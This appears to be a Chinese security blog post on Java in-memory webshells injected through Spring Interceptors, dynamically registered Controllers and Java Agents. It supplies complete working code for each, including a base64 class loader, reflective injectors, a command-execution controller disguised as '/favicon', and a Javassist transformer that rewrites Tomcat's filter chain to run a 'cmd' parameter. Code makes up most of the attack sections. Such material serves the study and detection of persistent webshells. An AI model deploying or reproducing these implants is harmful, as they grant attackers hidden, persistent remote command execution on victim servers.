"yv66vgAAADQAKwoABgAbCwAcAB0IAB4KAB8AIAcAIQcAIgcAIwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAwTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0SW50ZXJjZXB0b3I7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAJAEAClNvdXJjZUZpbGUBABRUZXN0SW50ZXJjZXB0b3IuamF2YQwACAAJBwAlDAAmACcBABBpJ20gaW50ZXJjZXB0b3J+BwAoDAApACoBAC5vcmcvc3UxOC9tZW1zaGVsbC9zcHJpbmcvb3RoZXIvVGVzdEludGVyY2VwdG9yAQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgABAAcAAAACAAEACAAJAAEACgAAAC8AAQABAAAABSq3AAGxAAAAAgALAAAABgABAAAACwAMAAAADAABAAAABQANAA4AAAABAA8AEAACAAoAAABZAAIABAAAAA0suQACAQASA7YABASsAAAAAgALAAAACgACAAAADwALABAADAAAACoABAAAAA0ADQAOAAAAAAANABEAEgABAAAADQATABQAAgAAAA0AFQAWAAMAFwAAAAQAAQAYAAEAGQAAAAIAGg==" ; public static Class<?> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { ClassLoader loader = Thread.currentThread().getContextClassLoader(); BASE64Decoder base64Decoder = new BASE64Decoder (); byte [] bytes = base64Decoder.decodeBuffer(classCode); Method method = null ; Class<?> clz = loader.getClass(); while (method == null && clz != Object.class) { try { method = clz.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); } catch (NoSuchMethodException ex) { clz = clz.getSuperclass(); } } if (method != null ) { method.setAccessible(true ); return (Class<?>) method.invoke(loader, bytes, 0 , bytes.length); } return null ; } }
Spring Interceptor 内存马 这里的描述的 Intercepor 是指 Spring 中的拦截器,它是 Spring 使用 AOP 对 Filter 思想的另一种实现,在其他框架如 Struts2 中也有拦截器思想的相关实现。不过这里将仅仅使用 Spring 中的拦截器进行研究。Intercepor 主要是针对 Controller 进行拦截。
Intercepor 是在什么时候调用的呢?又配置储存在哪呢?这部分比较简单,直接用文字来描述一下这个过程:
Spring MVC
使用 DispatcherServlet
的 doDispatch
方法进入自己的处理逻辑;
通过 getHandler
方法,循环遍历 handlerMappings
属性,匹配获取本次请求的 HandlerMapping
;
通过 HandlerMapping
的 getHandler
方法,遍历 this.adaptedInterceptors
中的所有 HandlerInterceptor
类实例,加入到 HandlerExecutionChain
的 interceptorList
中;
调用 HandlerExecutionChain
的 applyPreHandle
方法,遍历其中的 HandlerInterceptor
实例并调用其 preHandle
方法执行拦截器逻辑。
通过这次流程我们就清晰了,拦截器本身需要是 HandlerInterceptor
实例,储存在 AbstractHandlerMapping
的 adaptedInterceptors
中。写入非常简单,直接上例子。
这种类型的场景:最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell
逻辑的处理。在 tomcat
容器下,有 filter
、listener
等技术可以达到上述要求。那么在 spring
框架层面下,就考虑Interceptor 拦截了
获得当前代码运行时的上下文环境 参考基于内存 Webshell 的无文件攻击技术研究 中的方法
获取 adaptedInterceptors 属性值 java 1 2 3 4 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping" ); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
恶意Interceptor类 结合漏洞(如反序列化、JNDI注入等)注入
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor () throws NoSuchFieldException, IllegalAccessException, InstantiationException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" ); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); for (int i = adaptedInterceptors.size() - 1 ; i > 0 ; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("已经添加过TestInterceptor实例了" ); return ; } } TestInterceptor aaa = new TestInterceptor ("aaa" ); adaptedInterceptors.add(aaa); } private TestInterceptor (String aaa) {} @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code" ); if (code != null ) { java.lang.Runtime.getRuntime().exec(code); return true ; } else { return true ; }}}
反射实现如下:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package org.qi4l.memshell.spring.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.lang.reflect.Field;import java.util.List;import static org.qi4l.memshell.spring.controller.DynamicUtils.INTERCEPTOR_CLASS_STRING;@Controller @RequestMapping(value = "/addInterceptor") public class AddInterceptor { @GetMapping() public void index (HttpServletRequest request, HttpServletResponse response) throws Exception { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); Field f = mapping.getClass().getSuperclass().getDeclaredField("adaptedInterceptors" ); f.setAccessible(true ); List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping); list.add((HandlerInterceptor) DynamicUtils.getClass(INTERCEPTOR_CLASS_STRING).newInstance()); response.getWriter().println("interceptor added" ); } }
Spring Controller 内存马 Servlet 能做内存马,Controller 当然也能做,不过 SpringMVC 可以在运行时动态添加 Controller 吗?答案是肯定的。在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。这里使用 spring-webmvc-5.2.3 进行调试。
所谓 Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程,如果你对 SpringMVC 比较了解,可以直接看这篇文章然后再看我的注入代码,如果比较关注整个流程,可以接着向下看。
首先来看两个类:
RequestMappingInfo:一个封装类,对一次 http 请求中的相关信息进行封装。
HandlerMethod:对 Controller 的处理请求方法的封装,里面包含了该方法所属的 bean、method、参数等对象。
SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。
它的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法。
这个方法调用了 initHandlerMethods
方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean
方法处理 Bean。
processCandidateBean
方法
isHandler
方法判断当前 bean 定义是否带有 Controller
或 RequestMapping
注解。
detectHandlerMethods
查找 handler methods 并注册。
这部分有两个关键功能,一个是 getMappingForMethod 方法根据 handler method 创建RequestMappingInfo 对象,一个是 registerHandlerMethod 方法将 handler method 与访问的 创建 RequestMappingInfo 进行相关映射。
这里我们看到,是调用了 MappingRegistry 的 register 方法,这个方法将一些关键信息进行包装、处理和储存。
关键信息储存位置如下:
以上就是整个注册流程,那当一次请求进来时的查找流程呢?在 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法:
在 MappingRegistry.urlLookup 中获取直接匹配的 RequestMappingInfos
如果没有,则遍历所有的 MappingRegistry.mappingLookup 中保存的 RequestMappingInfos
获取最佳匹配的 RequestMappingInfo 对应的 HandlerMethod
上述的流程和较详细的流程描述在这篇文章 中可以查看,由于我这里使用的版本与之不同,所以一些代码和细节可能不同。
那接下来就是动态注册 Controller 了,LandGrey 师傅在他的文章 中列举了几种可用来添加的接口,其实本章上都是调用之前我们提到的 MappingRegistry
的 register
方法。
和 Servlet 的添加较为类似的是,重点需要添加的就是访问 url 与 RequestMappingInfo 的映射,以及是 RequestMappingInfo 与 HandlerMethod 的映射。
这里也可以不使用 LandGrey 师傅提到的接口,而是直接使用 MappingRegistry 的 register 方法来添加,当然,同样可以通过自己实现逻辑,通过反射直接写进重要位置,不使用 Spring 提供的接口。
具体实现如下:
这里在强调一下,不需要强制使用 @RequestMapping
注解定义 URL 地址和 HTTP 方法,其余两种手动注册 controller 的方法都必须要在 controller 中使用@RequestMapping 注解 。
除此之外,将 Webshell 的代码逻辑写在主要的 Controller 方法中即可
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package me.landgrey;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;@Controller public class SSOLogin { @RequestMapping(value = "/favicon") public void login (HttpServletRequest request, HttpServletResponse response) { try { String arg0 = request.getParameter("code" ); PrintWriter writer = response.getWriter(); if (arg0 != null ) { String o = "" ; java.lang.ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ p = new java .lang.ProcessBuilder(new String []{"cmd.exe" , "/c" , arg0}); }else { p = new java .lang.ProcessBuilder(new String []{"/bin/sh" , "-c" , arg0}); } java.util.Scanner c = new java .util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else { response.sendError(404 ); } }catch (Exception e){ } } }
反射实现如下:
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package org.qi4l.memshell.spring.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Map;import static org.qi4l.memshell.spring.controller.DynamicUtils.CONTROLLER_CLASS_STRING;@Controller @RequestMapping(value = "/add") public class AddController { @GetMapping() public void index (HttpServletRequest request, HttpServletResponse response) throws Exception { final String controllerPath = "/qi4l" ; WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry" ); f.setAccessible(true ); Object mappingRegistry = f.get(mapping); Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry" ); Method[] ms = c.getDeclaredMethods(); Field field = c.getDeclaredField("urlLookup" ); field.setAccessible(true ); Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry); for (String urlPath : urlLookup.keySet()) { if (controllerPath.equals(urlPath)) { response.getWriter().println("controller url path exist already" ); return ; } } PatternsRequestCondition url = new PatternsRequestCondition (controllerPath); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, condition, null , null , null , null , null ); Class<?> myClass = DynamicUtils.getClass(CONTROLLER_CLASS_STRING); for (Method method : ms) { if ("register" .equals(method.getName())) { method.setAccessible(true ); method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0 ]); response.getWriter().println("spring controller add" ); } } } }
Java Agent 内存马 概述 我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。
实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?
对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图
Java Agent示例 premain-Agent 我们首先来实现一个简单的premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent
java 1 2 3 4 5 6 7 8 9 10 11 package com.java.premain.agent; import java.lang.instrument.Instrumentation; public class Java_Agent_premain { public static void premain (String args, Instrumentation inst) { for (int i = 0 ; i<10 ; i++){ System.out.println("调用了premain-Agent!" ); } } }
接着在resource/META-INF/下创建MANIFEST.MF清单文件用以指定premain-Agent的启动类
1 2 Manifest-Version: 1.0 Premain-Class: com.java.premain.agent.Java_Agent_premain
将其打包成jar文件
创建一个目标类
1 2 3 4 5 public class Hello { public static void main (String[] args) { System.out.println("Hello World!" ); } }
添加JVM Options(注意分号之后不能有空格)
1 -javaagent:"out/artifacts/Java_Agent_jar/Java_Agent.jar"
agentmain-Agent 相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和JVM有关的两个类。
VirtualMachine类 com.sun.tools.attach.VirtualMachine
类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法
1 2 3 4 5 6 7 8 9 10 11 VirtualMachine.attach() VirtualMachine.loadAgent() VirtualMachine.list() VirtualMachine.detach()
VirtualMachineDescriptor类 com.sun.tools.attach.VirtualMachineDescriptor
类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("get_PID" )) System.out.println(vmd.id()); } } } ## 4908 Process finished with exit code 0
下面我们就来实现一个 agentmain-Agent 。首先我们编写一个Sleep_Hello类,模拟正在运行的JVM
1 2 3 4 5 6 7 8 9 10 import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ System.out.println("Hello World!" ); sleep(5000 ); } } }
然后编写我们的 agentmain-Agent
类
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.java.agentmain.agent; import java.lang.instrument.Instrumentation; import static java.lang.Thread.sleep; public class Java_Agent_agentmain { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { while (true ){ System.out.println("调用了agentmain-Agent!" ); sleep(3000 ); } } }
同时配置MANIFEST.MF文件
java 1 2 Manifest-Version: 1.0 Agent-Class: com.java.agentmain.agent.Java_Agent_agentmain
编译打包成jar文件 out/artifacts/Java_Agent_jar/Java_Agent.jar
最后编写一个Inject_Agent类,获取特定JVM的PID并注入Agent
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.java.inject; import com.sun.tools.attach.*; import java.io.IOException;import java.util.List; public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar" ); virtualMachine.detach(); } } } }
首先启动Sleep_Hello目标JVM
然后运行Inject_Agent类,注入Agent
Instrumentation Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
其在Java中是一个接口,常用方法如下
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ; void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize (Object objectToSize) ; }
获取目标JVM已加载类 下面我们简单实现一个能够获取目标JVM已加载类的agentmain-Agent
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.java.agentmain.instrumentation; import java.lang.instrument.Instrumentation; public class Java_Agent_agentmain_Instrumentation { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ System.out.println("------------------------------------------" ); System.out.println("加载类: " +cls.getName()); System.out.println("是否可被修改: " +inst.isModifiableClass(cls)); } } }
注入目标进程,结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Hello World! Hello World! ------------------------------------------ 加载类: com.java.agentmain.instrumentation.Java_Agent_agentmain_Instrumentation 是否可被修改: true ------------------------------------------ 加载类: Sleep_Hello 是否可被修改: true ------------------------------------------ 加载类: com.intellij.rt.execution.application.AppMainV2$1 是否可被修改: true ------------------------------------------ 加载类: com.intellij.rt.execution.application.AppMainV2 是否可被修改: true ------------------------------------------ 加载类: com.intellij.rt.execution.application.AppMainV2$Agent 是否可被修改: true ...
在Instrumentation接口中,我们可以通过 addTransformer() 来添加一个transformer(转换器),关键属性就是 ClassFileTransformer 类。
1 2 void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ;
ClassFileTransformer
接口中只有一个 transform()
方法,返回值为字节数组,作为转换后的字节码注入到目标JVM中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface ClassFileTransformer { byte [] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException; }
在通过 addTransformer
注册一个transformer后,每次定义或者重定义新类都会调用transformer。所谓定义,即是通过 ClassLoader.defineClass
加载进来的类。而重定义是通过Instrumentation.redefineClasses
方法重定义的类。
当存在多个转换器时,转换将由 transform
调用链组成。 也就是说,一个 transform
调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。
转换将按以下顺序应用:
不可重转换转换器
不可重转换本机转换器
可重转换转换器
可重转换本机转换器
至于transformer中对字节码的具体操作,则需要使用到Javassisit类。下面我就来修改一个正在运行JVM的字节码。
修改目标JVM的Class字节码 首先编写一个目标类 com.sleep.hello.Sleep_Hello.java
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.sleep.hello; import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ hello(); sleep(3000 ); } } public static void hello () { System.out.println("Hello World!" ); } }
编写一个 agentmain-Agent
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.java.agentmain.instrumentation.transformer; import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException; public class Java_Agent_agentmain_transform { public static void agentmain (String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals("com.sleep.hello.Sleep_Hello" )){ inst.addTransformer(new Hello_Transform (),true ); inst.retransformClasses(cls); } } } }
继承 ClassFileTransformer
类编写一个 transformer
,修改对应类的字节码
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package com.java.agentmain.instrumentation.transformer; import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain; public class Hello_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("com.sleep.hello.Sleep_Hello" ); CtMethod ctMethod = ctClass.getDeclaredMethod("hello" ); String body = "{System.out.println(\"Hacker!\");}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
然后编写Inject_Agent类,将agentmain-Agent注入到目标JVM中
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.java.inject; import com.sun.tools.attach.*; import java.io.IOException;import java.util.List; public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.sleep.hello.Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar" ); virtualMachine.detach(); } } } }
注意这里使用到了 tools.jar
工具包,然后将 agentmain-Agent 打为jar包,注意这里将 tools 和 javassist 依赖一并打包
然后就可以运行目标类,然后运行Inject_Agent类,注入Agent
Instrumentation的局限性 大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:
新类和老类的父类必须相同
新类和老类实现的接口数也要相同,并且是相同的接口
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
新类和老类新增或删除的方法必须是private static/final修饰的
只可以修改方法体
实现在代码层 现在我们可以通过Java Agent技术来修改正在运行JVM中的方法体,那么我们可以Hook一些JVM一定会调用、并且Hook之后不会影响正常业务逻辑的的方法来实现内存马。
这里我们以Spring Boot为例,来实现一个Agent内存马。
Spring Boot中的Tomcat 我们知道,Spring Boot中内嵌了一个embed Tomcat作为其启动容器。既然是Tomcat,那肯定有相应的组件容器。我们先来调试一下SpringBoot,部分调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Context:20 , Context_Learn (com.example.spring_controller) ... (org.springframework.web.servlet.mvc.method.annotation) handleInternal:808 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87 , AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1067 , DispatcherServlet (org.springframework.web.servlet) doService:963 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doGet:898 , FrameworkServlet (org.springframework.web.servlet) service:655 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:764 , HttpServlet (javax.servlet.http) internalDoFilter:227 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) ...
可以看到会按照责任链机制反复调用 ApplicationFilterChain#doFilter()
方法
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( (java.security.PrivilegedExceptionAction<Void>) () -> { internalDoFilter(req,res); return null ; } ); } ... } } else { internalDoFilter(request,response); } }
跟到internalDoFilter()方法中
java 1 2 3 4 5 6 7 8 9 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ... } }
以上两个方法均拥有ServletRequest和ServletResponse,并且hook不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用
利用Java Agent实现Spring Filter内存马 我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此我们重写该方法即可
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.java.agentmain.instrumentation.transformer; import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain; public class Filter_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain" ); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }" + "}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
Inject_Agent_Spring类如下
